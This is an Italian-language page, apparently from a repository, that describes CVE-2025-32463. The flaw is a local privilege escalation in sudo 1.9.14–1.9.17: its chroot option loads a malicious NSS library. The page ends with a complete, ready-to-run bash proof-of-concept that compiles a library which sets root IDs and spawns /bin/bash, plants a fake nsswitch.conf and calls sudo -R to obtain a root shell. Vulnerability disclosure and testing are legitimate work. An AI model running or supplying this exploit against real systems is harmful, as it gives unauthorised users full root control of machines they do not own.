
Exploit proof-of-concept per CVE-2025-32463, un'escalation dei privilegi locale in sudo 1.9.14-1.9.17 tramite errata configurazione di chroot e iniezione di librerie NSS dannose.
--chroot Escalata Locale dei PrivilegiExploitDB ID: 52352
Questo repository documenta una vulnerabilità critica di escalation locale dei privilegi (LPE) che interessa le versioni Sudo 1.9.14 – 1.9.17.
La vulnerabilità deriva da un'implementazione errata dell'opzione sudo -R (--chroot) e consente a un utente malintenzionato di eseguire comandi con privilegi di root, anche se non autorizzato nel file sudoers.
🔥 Risultato: Utente non autorizzato → shell di root
Il parametro --chroot (-R) di sudo consente all'utente di eseguire comandi all'interno di una directory root da lui specificata.
Tuttavia, a seguito di una modifica introdotta in sudo 1.9.14:
sudoers non è ancora stato completamente verificatochroot() viene eseguita sulla directory specificata dall'utenteCiò consente a un utente malintenzionato di caricare, con privilegi di root, una libreria NSS malevola (libnss_*.so) tramite un falso file:
/etc/nsswitch.conf
attraverso il file, causando il caricamento di una libreria NSS dannosa (libnss_*.so) con privilegi di root.
nsswitch.confsudo -R <dir> <command>⚠️ Utilizzare solo in ambienti di formazione e test
#!/bin/bash
# sudo-chwoot.sh – PoC for CVE-2025-32463
set -e
STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX)
cd "$STAGE"
cat > woot1337.c <<'EOF'
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor))
void woot(void) {
setreuid(0,0);
setregid(0,0);
chdir("/");
execl("/bin/bash","/bin/bash",NULL);
}
EOF
mkdir -p woot/etc libnss_
echo "passwd: /woot1337" > woot/etc/nsswitch.conf
cp /etc/group woot/etc
gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c
sudo -R woot woot